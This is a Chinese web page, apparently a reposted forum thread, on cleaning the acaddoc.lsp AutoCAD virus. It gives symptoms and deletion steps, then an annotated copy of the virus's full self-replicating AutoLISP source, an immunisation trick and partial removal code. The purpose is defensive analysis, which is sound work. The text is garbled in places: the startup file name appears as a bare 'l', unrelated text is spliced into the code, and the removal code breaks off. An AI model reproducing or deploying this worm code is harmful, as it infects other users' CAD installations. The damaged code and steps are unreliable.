AUTOCAD病毒的清除方法
acaddoc.lsp是一个专门针对CAD文件的病毒,在CAD软件
使用中主要表现的情况如下:
1、无法拷贝
2、在命令行提示需要执行一个宏
3、CAD会出莫名其妙的问题
解决方法:
关闭AutoCAD程序;
搜索所有acaddoc.lsp和acadapq.lsp文件
删除所有关acadapq.lsp(3,836字节) 和被感染的
acaddoc.lsp(27字节) (看文件大小);
重启AutoCAD,OK
ashan发表
LZ还说少了一个步骤:没有处理l文件,这样的清除并不彻底,下次再打开带毒的dwg文件(这里并非指dwg文件本身带毒,而是指在该dwg文件下有acaddoc.lsp文件存在)后,系统又会感染病毒,偶曾经对这个cad病毒的代码做过详细分析,下面是原文,有兴趣的朋友可以详细看看:
最近自己的电脑中了CAD病毒,症状为打开一个dwg文件后,在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件,即使手工将其删除,下次打开dwg文件时又会自动生成。如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上,只要一打开该dwg文件,则该电脑就会被感染。因为这个CAD病毒是个lisp程序,花了些时间对病毒代码进行分析如下:
-----------------下面是病毒代码-----------------------------
(setq  wold_cmd  (getvar  "cmdecho"))
(setvar  "cmdecho"  0)
(setq  wpath  (findfile  "base.dcl"))
(setq  wpath  (substr  wpath  1  (- (strlen wpath) 8)))    ;wpath变量保存ACAD下support目录路径
(setq  wwmnlwpath  (getvar  "menuname"))                  ;获得当前菜单名,这句没有用处,下面并未使用wwmnlwpath变量
(setq  wnowdwg  (getvar  "dwgname"))                      ;获得当前打开图形文件名
(setq  wwjqm  (findfile  wnowdwg))                        ;wwjqm变量保存当前打开图形文件的完整路径
(setq  wdwgwpath (substr  wwjqm 1
( -  (strlen  wwjqm) (strlen wnowdwg))))    ;wdwgwpath变量保存当前打开图形文件所在路径
;;;alert
( setq  f  ( open  "c:\\boot.dat"  "w"))                  ;f变量为boot.dat文件句柄,c盘根目录下boot.dat文件若存在则
(write-line  "[dang]"  f)                                  ;打开,不存在则创建,然后将当前打开图形文件所在路径和support
(write-line  (strcat  "ff="    wdwgwpath)  f)              ;目录路径写入boot.dat文件
(write-line  (strcat  "yy="    wpath)  f)
(close  f)
(setq  boot  (findfile  "boot.dat"))                      ;获得boot.dat文件所在目录完整路径
(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh"))    ;这句是要运行一个名为“ThisDrawing.hh”的宏,但该宏并不存在
(setq  wacadwpath  (findfile  "acaddoc.lsp"))            ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录
(setq  wacadwpath  (substr  wacadwpath  1
(-  (strlen wacadwpath)  11)))
(setq  wns1  ""  wns2  "")
(setq  wlspbj  0)                                          ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感
染的
;;;                                                        ;标志,已感染为1,未感染为0
(setq  wwjqm  (strcat  wpath  "acaddoc.lsp"))            ;wwjqm变量指向support目录下的acaddoc.lsp文件
(if  (setq  wwjm  (open  wwjqm  "r"))                      ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄,若打开
(progn                                                  ;成功则进行处理
(while
(setq wwz  (read-line    wwjm))                  ;逐行读取acaddoc.lsp文件内容,读取结束后,wns1中是倒数第2行
(setq  wns1  wns2 )                                  ;内容,wns2中是最后一行的内容
(setq  wns2  wwz)
)
(if  (>  (strlen  wns1) 14)                          ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,
(if  (=  (substr  wns1  8  7)  "acadapq")            ;若是则已感染
(setq  wlspbj  1)
)
)
(close  wwjm)
)
)
(setq  wlspmnl  0)                                        ;wlspmnl变量是判断support目录下l文件是否已感染的标志,
;;;                                                        ;已感染为1,未感染为0
(setq  wwjqm  (strcat  wpath  "l"))                ;wwjqm变量指向support目录下的l文件
(if  (setq  wwjm  (open  wwjqm  "r" ))                  ;wwjm变量为打开support目录下的l文件的句柄,若打开
(progn                                                  ;成功则进行处理
(while  (setq  wwz  (read-line  wwjm))                  ;逐行读取l文件内容,读取结束后,wns1中是倒数第2行内容
(setq  wns1  wns2 )                                  ;wns2中是最后一行的内容
(setq wns2  wwz)
)
(if  (>  (strlen  wns1) 14)                          ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,若是则
(if  (=  (substr  wns1  8  7)  "acadapq")            ;已感染
(setq  wlspmnl  1)
)
)
(close  wwjm) ;关闭l文件
)
)
(if  (=  wlspmnl 0)                                        ;若l文件未感染,则写入加载病毒的代码到l文件的
(progn                                                  ;最后2行中
(setq wwjqm (strcat wpath
(strcat (chr 97) (chr 99) (chr 97)
(chr 100) (chr 46) (chr 109)
(chr 110)  (chr 108)) ))      ;障眼法,等于(strcat  wpath  "l")
(setq  wwjm  (open  wwjqm  "a"))
(write-line  (strcat  "(load "  (chr  34)
"acadapq"  (chr  34)  ")" )  wwjm)
(write-line  "(princ)"  wwjm)
(close  wwjm)
)
)
(defun  wwriteapp ()
(if  (setq  wwjm1  (open  wnewacad  "w"))
(progn
(setq  wwjm  (open  woldacad  "r"))
(while (setq  wwz  (read-line  wwjm))
(write-line  wwz  wwjm1)
)
(close wwjm)
(close wwjm1)
)
)
)
(if  (and  (=  wacadwpath wdwgwpath)
(/=  wacadwpath wpath))                        ;若加载的acaddoc.lsp文件和图形文件同目录
(progn
(if  (= 0  wlspmnl)                                  ;l文件未感染
(progn
(setq woldacad (findfile "acaddoc.lsp"))        ;在下面调用wwriteapp子程序读取图形文件目
录下的acaddoc.lsp文件
(setq wnewacad (strcat wpath "acadapq.lsp"))    ;的内容,在support目录下创建acadapq.lsp 文件并将acaddoc.lsp
)                        ;文件的内容写入acadapq.lsp文件中
;;else (l文件已感染)
(progn
(setq woldacad (strcat wpath "acadapq.lsp" ))    ;在下面调用wwriteapp子程序读取support目录下的acadapq.lsp文件
(setq wnewacad (findfile "acaddoc.lsp"))        ;的内容,写入图形目录下的acaddoc.lsp文件中
)
)
(if  (=  wlspbj  0)                                ;support目录下的acaddoc.lsp文件未感染
(progn                                            ;下面代码将加载病毒程序的代码写入acaddoc.lsp文件的最后2行中
(setq  wwjqm  (strcat  wpath  "acaddoc.lsp" ))
(setq  wwjm  (open  wwjqm  "a"))
(write-line  (strcat  "(load "  (chr 34)
"acadapq"  (chr 34)  ")" ) wwjm)
(write-line  "(princ)"  wwjm)
(close  wwjm)
)
)
(wwriteapp)
)什么软件能打开dwg文件
;;else (若加载的是support目录下的acaddoc.lsp文件)
(progn
(if  (/= wnowdwg  "Drawing.dwg" )                    ;当前打开文件不是新建图形文件
(progn
(setq woldacad (findfile "acadapq.lsp"))          ;在图形文件目录下创建acaddoc.lsp文件,将acadapq.lsp
(setq wnewacad (strcat wdwgwpath "acaddoc.lsp"))  ;文件的内容写入acaddoc.lsp文件中
(wwriteapp)
)
)
)
)
(setvar  "cmdecho"  wold_cmd)
(princ)                                                    ;下面的代码又是个障眼法,没什么作用
(setq strtopstr (strcat (chr  92) (chr  92) (chr 70)
(chr  83) (chr  49) (chr  92)
(chr  83) (chr  89) (chr  83)
(chr  49) (chr 92) (chr  87)
(chr  79) (chr  82) (chr  75)
(chr  92) (chr  80) (chr  76)))
-----------------病毒代码到此结束----------------------------
从以上对病毒代码的分析可知,该病毒的病毒文件有2个,一个为acadapq.lsp,位于ACAD 安装目录下的support目录下,另一个为acaddoc.lsp,位于当前打开的dwg文件所在目录下,2个病毒文件的内容相同。病毒的工作原理是利用了AutoCAD会自动加载acaddoc.lsp文件的特性,在ACAD启动时自动加载的是support目录下的acaddoc.lsp文件;而当打开一个dwg时,如果该dwg文件所在目录下有acaddoc.lsp文件,则会优先自动加载该acaddoc.lsp 文件,从而实现病毒的感染过程。
免疫方法:通过对病毒代码的分析,可以知道病毒是通过读取AutoCAD安装目录下support 目录下的l和acaddoc.lsp文件的内容来判断电脑是否已感染病毒的,其判断方法为读取这2个文件中倒数第2行从第8个字符开始的7个字符是否为“acadapq”来进行判断,若是则表示已感染,不是表示未感染。既然如此,就可以通过欺骗病毒来达到免疫的目的。已感染病毒的电脑的l文件和acaddoc.lsp文件的最后2行代码如下:………………
(load  "acadapq")
(princ)
可以修改如下:
………………
(eval  "acadapq")
(princ)
这样修改以后,病毒运行时仍会判断上述2个文件的倒数第2行从第8个字符开始的7个字符为“acadapq”,并以为电脑已感染病毒,但此时病毒程序acadapq.lsp其实已无法加载,从而实现了免疫。
清除方法:免疫毕竟是被动的,我们可以利用l文件先于acaddoc.lsp文件加载的特性,通过在l文件中加入病毒清除代码实现病毒的清除:
--------------------------------------------------------------------------------
;;以下为ACAD病毒免疫及清除代码,对名为“acadapq.lsp”的病毒有效
(setq virus_ex1 (findfile "c:\\boot.dat"))
(if virus_ex1 (vl-file-delete "c:\\boot.dat"))
(setq curdwg (getvar "dwgname"))  ;获得当前打开dwg文件名称
(setq dwgpath (findfile curdwg))  ;获得包含当前打开dwg文件文件名的完全路径
(setq dwgdir (substr dwgpath 1 (- (strlen dwgpath) (strlen curdwg))))  ;获得当前打开dwg文件所在目录
(setq virus_ex2 (findfile (strcat dwgdir "acaddoc.lsp")))
(if virus_ex2 ;dwg文件所在目录下发现acaddoc.lsp文件,清除之
(progn
(alert (strcat "在“" dwgdir "”目录下发现acaddoc.lsp文件,该文件通常\n是病毒,点击“确定[OK]”直接删除该文件。"))
(vl-file-delete (strcat dwgdir "acaddoc.lsp"))
)

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。